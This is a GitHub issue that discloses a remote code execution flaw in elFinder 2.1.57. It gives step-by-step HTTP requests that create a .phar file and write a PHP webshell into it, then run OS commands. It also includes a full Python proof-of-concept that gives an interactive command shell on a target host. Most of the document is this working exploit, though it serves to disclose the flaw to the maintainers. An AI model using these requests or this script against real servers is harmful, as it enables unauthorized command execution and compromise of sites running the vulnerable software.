-
Notifications
You must be signed in to change notification settings - Fork 1.4k
Remote Code Execution in elFinder 2.1.57 #3295
Copy link
Copy link
Closed
Description
-
create a .phar file using the following URL:
http://hostname/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar -
Add PHP code in the webshell.phar file by following GET request:
http://hostname/elFinder/php/connector.minimal.php?cmd=put&target=<hash_of_the_shell.phar_file_from_step1_response>&content=<?=system($_GET[0]);?> -
Execute the OS command with the privilege of the webserver:
http://hostname/elFinder/files/webshell.phar?0=id
Tested on apache and nginx webservers. By default it works in apache webserver and it requires .phar file to be executed as php code in nginx
Python POC:
import http.client, urllib.parse,sys,re
from pwn import *
import pwnlib.util.web
Author="Ashok Chand"
print("Author: ",Author)
def main():
if len(sys.argv)==1:
print("Usage: python3 elfinder_2.1.57_exploit.py <ip>")
sys.exit(0)
host=sys.argv[1]
headers={"Host":host}
connect=http.client.HTTPConnection(host)
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar")
response=connect.getresponse()
x=response.read()
file_hash=re.findall(b'l1_[A-Za-z0-9]{10,18}',x)
for h in file_hash:
hash_file=h.decode()
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=put&content=<?='';system($_GET[0]);?>&target="+hash_file)
while True:
cmd=raw_input("cmd>")
print(cmd)
url=f"http://{host}/elFinder/files/webshell.phar?0={cmd.decode()}"
res=wget(url, timeout=20)
print(res.decode())
if __name__=="__main__":
main()
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels